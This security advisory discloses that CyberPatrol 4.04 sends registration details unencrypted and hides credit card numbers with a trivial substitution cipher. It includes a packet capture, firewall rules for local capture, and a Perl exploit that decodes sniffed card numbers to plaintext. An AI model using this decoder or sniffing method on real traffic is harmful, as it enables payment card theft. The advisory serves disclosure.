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| CyberPatrol is a controversial but popular product for censoring family, library, and corporate computer systems against (ostensibly) sexual, hateful, or other forbidden categories of websites. A security hole in the way CyberPatrol handles credit cards can be used to retrieve the original credit card information (in its clear text format). |
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Credit:
The information has been provided by Joey Maier.
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Vulnerable systems:
CyberPatrol 4.04.003
CyberPatrol 4.04.005
Registration for CyberPatrol is handled directly by the software, rather than through an SSL-encrypted web interface. The client, downloadable from http://www.cyberpatrol.com/, presents the user with a registration form requesting standard information. Before any information is sent to Microsys, the client verifies that the credit card number qualifies as a valid Luhn number. Assuming it is, the client sends the registration information to cybercentral.microsys.com (204.57.42.15) via normal http (using a POST request). The email address, expiration date of the credit card, name, address, and phone number are all sent in clear text, without any attempt to obfuscate or encrypt. (Please note that the form, which is illustrated at http://www.cyberpatrol.com/trial/reg_sof.htm, claims, "The above information will be scrambled before being sent").
The credit card information is not much better off: It is sent using an extraordinarily ineffective substitution cipher, equivalent to that which may be found in the games pages of many newspapers. This code is as follows:
0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s
The following is an example of a POST request that is destined for cybercentral.microsys.com (the card number was generated for this test only and was never submitted)
07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80 TCP TTL:128 TOS:0xF8 ID:2048 DF ***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238
50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/
48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A
67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr
6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*.
0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a
70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www
2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded
0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length
3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m
61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com
26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez
7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0
39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20
4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600
25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania%
32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR
32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt
6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|%
32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P
48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2
30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN=
37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR
4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P
72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20
33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C
4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04.
30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M
53 49 2D 57 45 42
Similar information could be found in the logs of a corporate or educational proxy administrator; the important thing to note is the amount of personal information plainly visible along the right side of the sniffed request.
Interestingly enough, it appears the client determines its own price. All that is required for an attacker to retrieve this information is for a sniffer to be placed upstream before 204.57.42.15, the IP address of Microsys's servers. Microsys has no method in place to detect, address, or reasonably frustrate such a sniffer.
Reproduction:
1. Download and install CyberPatrol client.
2. Take a firewall that supports advanced configuration and configure it to block PUSH-ACK and RST packets (See below for details). This will allow the CyberPatrol client to do an nslookup and handshake through the firewall, but won't let it actually send the POST info to cybercentral.microsys.com. Test your rules first with a valid card you own; if you got them wrong, you want to find out without being accused of credit fraud.
3. Generate some card numbers.
4. Start snort and use it to sniff the POST requests that the client is trying to send.
5. Try to register (If your firewall is properly blocking the POST request, this will fail and the cyberpatrol client will hang)
6. Use the perl script below to parse the snort log and dump the credit card information to stdout in plain text.
Firewall rules used:
These are the IPFilter rules used in the reproduction described above. (Obviously, there's some redundancy here, but the author wanted to err on the side of caution. The IPF gods among you can certainly produce a cleaner ruleset.)
==============================================================
block in on ne1 proto tcp from any to any
block in quick on ne1 proto tcp from any to any flags R
block out quick on ne1 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to any flags R
block out quick on ne0 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24
pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S
pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA
==============================================================
Demostration:
Here's an example of the output from the perl script included below:
$ ./cpetrol.pl
EMAIL=maierj@home.com
CARD=4128624250251572
EXP=0502
NAME=Joey Maier
ADDR1=1600 Pennsylvania Ave. NW
ADDR2=
CITY=Washington | DC | 20500 |
PHONE=202 456 1414
Exploit:
#################################################
# Name: cpetrol.pl
#
# Author: Joey Maier <maierj@home.com>
#
# purpose: parse snort logs of cyberpatrol
# registration and dump the registration
# information (including the credit
# card numbers) in plain text to
# stdout.
#
# useage: ./cpetrol.pl
#
# requirements: You have to have a snort log
# of the registration, it has
# to be named "log", and it
# needs to be in this directory
#
# Greets: Thanks to Dan Kaminsky for his
# help in researching this bug.
#
#################################################
#!/usr/bin/perl
$showline=0;
open(SNORT, "log");
LINE:while($line=<SNORT>){
@field=split /\s/, $line;
if($#field>0 && $#field<15){next LINE;}
if(!($line=~/\w/)){
$registerinfo=~s/\%20/ /g;
$registerinfo=~s/\%40/@/g;
($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
@array=split /\&/, $registerinfo;
if($array[0]=~/EMAIL/){print "$array[0]\n";}
if($array[1]=~/CARD/){print "CARD=";}
@chararray=split //, $array[1];
$arraylength=$#chararray;
for($i=0; $i<$arraylength+1; ++$i){
if($chararray[$i]=~/\%/){
$checkchar="$chararray[$i]";
$checkchar.="$chararray[$i+1]";
$checkchar.="$chararray[$i+2]";
$i=$i+2;
}
else{$checkchar="$chararray[$i]";}
if($checkchar=~/z/){print "0";}
elsif($checkchar=~/{/){print "1";}
elsif($checkchar=~/x/){print "2";}
elsif($checkchar=~/y/){print "3";}
elsif($checkchar=~/\%7E/){print "4";}
elsif($checkchar=~/\./){print "5";}
elsif($checkchar=~/\|/){print "6";}
elsif($checkchar=~/\}/){print "7";}
elsif($checkchar=~/r/){print "8";}
elsif($checkchar=~/s/){print "9";}
}
if($array[2]=~/EXP/){print "\n$array[2]\n";}
if($array[3]=~/NAME/){print "$array[3]\n";}
if($array[4]=~/ADDR1/){print "$array[4]\n";}
if($array[5]=~/ADDR2/){print "$array[5]\n";}
if($array[6]=~/CITY/){print "$array[6]\n";}
if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}
$registerinfo="";
$showline=0;
}
if($line=~/POST/){$showline=1}
if($showline eq 1){
($junk, $line)=split / /, $line;
chomp($line);
$registerinfo.=$line;
}
}
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